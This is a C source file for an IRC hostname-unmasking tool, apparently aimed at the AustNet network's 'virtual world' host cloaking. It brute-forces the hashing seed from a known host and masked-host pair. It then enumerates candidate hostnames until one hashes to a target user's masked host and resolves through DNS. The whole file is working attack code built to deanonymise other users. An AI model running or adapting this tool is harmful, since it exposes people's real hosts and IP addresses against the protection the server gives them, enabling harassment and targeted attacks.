/* written by freespace [freespace@gmail.com] based loosely
		on austnethack.c by FallenAngel/Eleven [e1even@hushmail.com]

format string:
    example: c211-28-235-157.fernt1.vic.optusnet.com.au
    format string: c^-^-^-^.fernt^.vic.optusnet.com.au

^ are replaced with incremental values. You will see :)
*/

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>

#define HOSTLEN 63

/* Two very important values */

#define HASHVAL_TOTAL   30011
#define HASHVAL_PARTIAL 211
#define MAXVIRTSIZE     (3 + 5 + 1)

/* global variable , refer main() */
int     seed; 
extern unsigned char tolowertab[];

#undef tolower
#define tolower(c) (tolowertab[(u_char)(c)])

unsigned z(char *s)
{
    unsigned int i;
    for(i=0;*s;i=seed*i+*s++);
    return i;
}

int str2array(char **pparv, char *string, char *delim)
{
    char *tok;
    int pparc=0;
    tok=strtok(string,delim);
    while(tok != NULL)
    {
        pparv[pparc++]=tok;
        tok=strtok(NULL,delim);
    }
    return pparc;
}

void make_virthost(char *curr, char *new)
{
        /* Virtual world written by Roger 'RogerY' Yerramsetti <rogery@austnet.org> */

        unsigned hash_total = z(curr) % HASHVAL_TOTAL, hash_partial;
        char     destroy[HOSTLEN+1], *parv[HOSTLEN+1], tmpnew[HOSTLEN], *ptr;
        int      parc=0, len=0, overflow=0, exception=0;

        strncpy(destroy, curr, HOSTLEN);
        len = strlen(destroy);
	   	ptr = &destroy[0];
	   	
        if ((len + MAXVIRTSIZE) > HOSTLEN)
        {
                overflow = (len + MAXVIRTSIZE) - HOSTLEN;
                ptr = &destroy[overflow];
        }

        parc = str2array(parv, ptr, ".");
		
		switch(parc)
		{
			case 4:
                len = strlen(parv[3]);
                if (strchr("0123456789", parv[3][len-1]))
                {
                        hash_partial = (z(parv[0])+z(parv[1])+z(parv[2])) % HASHVAL_PARTIAL;
                        sprintf(tmpnew, "%s.%s.%u.%u",
                        parv[0], parv[1], hash_partial, hash_total);
                        strncpy(new, tmpnew, HOSTLEN);
                        return;
                }
                break;
			case 2:
                sprintf(tmpnew, "vw%u.%s.%s",
                hash_total, parv[parc-2], parv[parc-1]);
                strncpy(new, tmpnew, HOSTLEN);
                return;
		}
		
        len = strlen(parv[parc-1]);

        /*
        NOTE : I have removed V-line ircd.conf tracking here to make this a standalone
        ** program. You could miss out if the host you're after resolving is covered by
        ** a v-line (Juman)
        */

        if ((len == 2) && (exception == 0))
        {
                sprintf(tmpnew, "vw%u.%s.%s.%s",
                hash_total, parv[parc-3], parv[parc-2], parv[parc-1]);
                strncpy(new, tmpnew, HOSTLEN);
                return;
        }

        sprintf(tmpnew, "vw%u.%s.%s",
        hash_total, parv[parc-2], parv[parc-1]);
        strncpy(new, tmpnew, HOSTLEN);
        return;
}

int main(int argc, char **argv)
{
    char knownHost[512];
    char knownVW[512];
    char targetVW[512];
    char formatStr[512];
    char newVW[512];
    char newHost[512];
    char *start, *end;

    unsigned long int div[] = {1,256,65536,16777216};

    unsigned long int i;
    unsigned long int k;
    unsigned long int lim;
    unsigned int j=argc;

    seed =  131; /* this is incremented until a match is found for the know host/vw pair */

    if ( (j != 5 && j != 3) || (!strchr(argv[j-1],'^')))
    {
        printf("%s [known host] [known vw] <target vw> <format string>\n", argv[0]);
        return 1;
    }

	
    /* copy arguments just in case we need them in a mallable form latter */
    if (j==5)
    {
    	strncpy(knownHost, argv[1],512);
    	strncpy(knownVW, argv[2], 512);

     	/* find a working seed */
    	printf("looking for a working seed...");
    	for(make_virthost(knownHost,newVW),seed=1;strncmp(knownVW, newVW, 512);make_virthost(knownHost,newVW))++seed;
    	printf("%d\n", seed);
	}
	
    strncpy(targetVW, argv[j-2], 512);
    strncpy(formatStr, argv[j-1], 512);

    puts("starting search for matching host...");
    
    /* calculate the limit */
    for( i = 0,lim=1; i < strlen(formatStr);++i)
    	if ( formatStr[i] == '^')
		lim*=256;
    --lim;
    #ifdef EBUG
	printf("lim: %lu\n", lim);
    #endif
    /* attempt to find a match */
    for(i = 0, k = 0; i < lim; ++i)
    {
        /* construct the host string from format string */
        for(start = end = formatStr, j = -1, newHost[0] = '\0'; *end!='\0'; ++end)
        {
            /* if we find a ^, replace with (i/div[j%4])%256 */
            if(*end == '^')
            {
                *end = '\0';
                if(j++ < 4)
                	sprintf(newHost,"%s%s%lu",newHost,start,(i/div[j%4])%256);
            	else
            		sprintf(newHost,"%s%s%lu",newHost,start,(k++/div[j%4])%256);
                *end = '^';
                start = end+1;
            }
        }

        /* append the rest */
        sprintf(newHost,"%s%s",newHost,start);
		
  		#ifdef EBUG
     		puts(newHost);
   		#endif
   		
        /* make vhost from new host and look for a match */
        make_virthost(newHost,newVW);
        if(strncmp(targetVW,newVW,512) == 0 && gethostbyname(newHost))
        {
			printf("matching host: %s\n",newHost);
		}
     	
  	}		
    puts("search ended.");
    return 0;
}
